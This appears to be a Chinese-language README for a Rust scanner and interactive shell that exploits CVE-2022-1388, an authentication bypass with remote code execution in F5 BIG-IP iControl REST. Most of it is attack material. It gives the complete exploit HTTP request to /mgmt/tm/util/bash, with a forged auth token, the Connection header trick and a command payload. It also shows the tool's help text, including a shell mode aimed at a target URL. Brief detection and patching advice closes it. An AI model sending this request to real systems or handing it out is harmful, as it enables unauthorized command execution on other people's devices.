用 Rust 编写的 CVE-2022-1388 F5 BIG-IP iControl REST 认证绕过 RCE 扫描器和交互式 shell
总结一下,以下是利用此漏洞所需请求的必要条件:
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: thisisrandomstring
User-Agent: curl/7.82.0
Connection: X-F5-Auth-Token
Accept: */*
Content-Length: 39
{
"command":"run",
"utilCmdArgs":"-c id"
}
$ cve_2022_1308_rs -h
CVE-2022-1388 PoC 1.0
Petruknisme <[email protected]>
Scanner and Interactive shell for CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE written in
Rust
USAGE:
cve_2022_1388_rs [OPTIONS] --url <URL>
OPTIONS:
-h, --help Print help information
-s, --shell This mode for accessing payload with interactive shell
-u, --url <URL> F5 Big-IP target url
-V, --version Print version information
入侵指标可以在 /var/log/audit 日志文件中找到。由 mgmt/tm/util/bash 端点执行的未识别命令应引起关注。
更新到最新版本,或按照 F5 安全公告中的说明进行缓解